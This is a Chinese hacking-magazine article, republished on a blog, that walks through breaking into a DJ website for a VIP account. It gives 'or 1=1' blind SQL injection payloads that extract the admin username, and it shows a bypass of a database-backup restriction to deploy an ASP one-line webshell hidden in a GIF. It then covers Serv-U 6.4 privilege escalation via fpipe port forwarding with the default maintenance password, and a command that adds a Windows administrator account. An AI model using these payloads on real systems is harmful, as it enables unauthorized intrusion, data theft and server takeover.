欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

反常规and 1=1的or 1=2注入技巧

程序员文章站 2022-08-28 19:08:01
春节呆在家里上网,我表哥突然找我说要一个DJ网站的VIP会员,说搞定后请我吃KFC,于是就答应了。... 11-03-22...

作者:tommie(c.r.s.t)
已经发表在黑客手册2008年第三期.
or突破防注入
    春节呆在家里上网,我表哥突然找我说要一个dj网站的vip会员,说搞定后请我吃kfc,于是就答应了。用ie打开目标网站,找到一个带参数的asp链接。提交and 1=1,如图2。反常规and 1=1的or 1=2注入技巧
可能到了这里,有些读者会选择放弃。其实,如果一个网站的防注入不是过滤得很严的话,可以试试or注入。向注入点提交or 1=1,发现跳到另外一个页面了,如图3。

反常规and 1=1的or 1=2注入技巧



然后or 1=2返回最原始的页面了,如图4。

反常规and 1=1的or 1=2注入技巧



由于or的特性,当查询条件为真的时候,返回是异常的,当查询条件为假的时候,返回是正常的。用如下语句:

/productsview2.asp?id=248 or exists(select * from admin) //判断是否存在admin这个表,发现页面返回正常,也就是图4,说明不存在admin这个表。
/productsview2.asp?id=248 or exists(select * from manage) //页面返回异常了,也就是图3,说明存在manage这个表。猜完表后就要猜解字段了。
/productsview2.asp?id=248 or exists(select username from manage) //返回异常页面了,说明manage这个表中含有username这个字段,这时我们就可以猜数据了。
/productsview2.asp?id=248 or (select top 1 asc(mid(username,1,1)) form manage)<123 //判断manage表中username字段的第一条数据的第一个字符的ascii值是否小于123,提交后发现返回异常页面。
/productsview2.asp?id=248 or (select top 1 asc(mid(username,1,1)) form manage)>96 //提交后发现返回异常页面,得到第一个字符的ascii值范围在97-122之间,也就是在字母a-z之间,再慢慢缩小猜解的范围直到猜解出来用牛族多功能ascii转换工具转换一下就可以得到管理员用户名的第一个字符了。需要猜解第二位的时候把上面语句改为mid(username,2,1),第三位mid(username,3,1)……如此类推。经过一番努力,得到username字段的第一条数据的ascii值为97 100 109 105 110,转换得出字符串为admin。猜解完用户名还需要猜解密码,先猜字符再猜数据。
html备份限制的突破
    用明小子跑了下后台,如图5。

反常规and 1=1的or 1=2注入技巧



用注入得到的用户密码登陆后台,逛了一圈之后发现有备份数据库的地方,如图6。

反常规and 1=1的or 1=2注入技巧



不过有html限制,这个可以突破的。“查看”-“源文件”-“文件”-“另存为”,保存到本地。接着用文本格式打开它,找到“<form method="post" action="admin_data.asp?action=backdata&act=backup">”,把这里的action改为admin_data.asp这个文件的url路径:“http://www.xxx.com/admin/admin_data.asp?action=backdata&;act=backup”,再修改“<input type="text" size="25" value="/data/#ylmv_data.mdb" disabled><input type=hidden name=dbpath value="/data/#ylmv_data.mdb">”的第二个value值“/data/#ylmv_data.mdb”改为你需要备份的文件。可能有些读者不明白为什么要这样改,这里就要运用到一些html知识了,如果不会的朋友可以把凡是涉及“/data/#ylmv_data.mdb”这个路径(也就是当前数据库路径)全部替换为你需要备份的文件。这种备份限制相信很多读者都遇过,如果不知道突破的方法很可能又会放弃的了,所以在这里奉劝大家最好学学这方面的知识,跟着保存修改后的文件。但问题又来了,在后台找不到可以上传文件的功能,这时可以到前台看看能不能找到可以上传的地方,这里的dj网站能让我们注册会员(普通会员),于是我就注册了一个会员,在控制面版里找到可以上传头像的地方,于是上传了一个只是把后缀改为gif格式的一句话asp木马,上传后如图7。

反常规and 1=1的or 1=2注入技巧



原来是判断文件头,这时我们可以借助asp图片木马生成器这款软件,先把一张比较小的图片(经过后来的测试发现除了判断文件头还判断大小)和一个asp一句话木马放到这款软件的目录下,写好名称进行生成,如图8。

反常规and 1=1的or 1=2注入技巧



就会在所在目录生成一个“aspmuma.gif”图片木马,把它上传上去,如图9。

反常规and 1=1的or 1=2注入技巧


把返回的相对路径按照上面的方法替换好,打开后如图10,

反常规and 1=1的or 1=2注入技巧



写好备份后的路径进行备份,如图11。

反常规and 1=1的or 1=2注入技巧



用lake2的eval最小马发送端连接上去,如图12。

反常规and 1=1的or 1=2注入技巧



serv-u 6.4提权
    拿到webshell只要修改下数据库就可以拿到vip会员了,相信大家都会,以前的手册也有介绍过。既然拿到shell,不提权怎对得起自己呢?先来看看这个虚拟主机是用什么ftp软件搭建的。“开始”-“运行”-“ftp www.xxx.com”,如图13。

反常规and 1=1的or 1=2注入技巧



最近,6.4这个版本有人发布了提权asp出来,于是我下载回来进行测试,发现无法成功提权,很多朋友都和我一样觉得很郁闷。其实网上的asp大多都是依赖xmlhttp这个组件来访问本地的43958端口添加系统权限ftp用户,那么我们不用xmlhttp来替我们添加ftp用户而是我们自己创造条件来访问43958端口又行不行呢?
    上传一个被压缩过的cmd.exe(因为iis6.0默认不让上传超过200kb的文件)和一个转发工具:fpipe.exe到“c:\documents and settings\all users\documents”这个目录(这个目录默认是everyone权限),并且已经在本地安装好serv-u。
在webshell执行“"c:\documents and settings\all users\documents\fpipe.exe" -v -l 43959 -r 43958 127.0.0.1”,如图14。

反常规and 1=1的or 1=2注入技巧


执行之后iis会处于假死现象,到了这时之后操作一定要迅速,不然被管理员发现网站访问速度慢了许多就麻烦了。打开serv-u,右键新建一个服务器,如图15。

反常规and 1=1的or 1=2注入技巧



第一步输入目标ip,第二步会提示要你输入端口号,这时我们输入转发出来的端口43959,第三步输入ftp服务器名称,可以随便输入,第四步输入默认维护帐号“localadministrator”,第五步输入默认密码[email=“#l@$ak#.lk;0@p]“#l@$ak#.lk;0@p[/email]”,连接对方ftp服务器,如图16,

反常规and 1=1的or 1=2注入技巧



发现已经得到对方ftp服务器的管理权限!新建一个ftp用户,在“帐户”-“特权”那里选为“系统管理员”,在“目录访问”那里把所有权限勾上,最后“应用”,如图17,18。

反常规and 1=1的or 1=2注入技巧

反常规and 1=1的or 1=2注入技巧




    “开始”-“运行”-“ftp www.xxx.com”,输入刚才新建ftp用户和密码,因为对方开了3389,所以连接上后执行“quote site exec net user tommie nohack /add & net localgroup administrators tommie /add”,返回“200 exec command successful”说明成功添加了一个用户是tommie密码为nohack的管理员,如图19。

反常规and 1=1的or 1=2注入技巧



登陆3389,打开“任务管理器”-“进程”,勾选“显示所有用户的进程”,找到转发工具的进程fpipe.exe结束之,如图20,

反常规and 1=1的or 1=2注入技巧



使iis再次恢复正常工作。
感想
    这次入侵让我回想起gene6的提权,虽然虚拟主机的目录权限早已设置得死死的,但兴幸的是documents这样的目录并没有被设置,而且serv-u默认只允许127.0.0.1(也就是本地,当然,你也可以把serv-u设置成0.0.0.0这样,也就是无限制连接)访问43958端口,所以可以通过转发来解决来这个问题。经过多个版本的测试,这个目录无修改权限的提权方法是通杀所有版本的。前提服务器必须要支持wscript.shell组件或支持执行命令。最后文章有不清楚的朋友可以直接到黑客手册论坛找我。论坛id:tommie。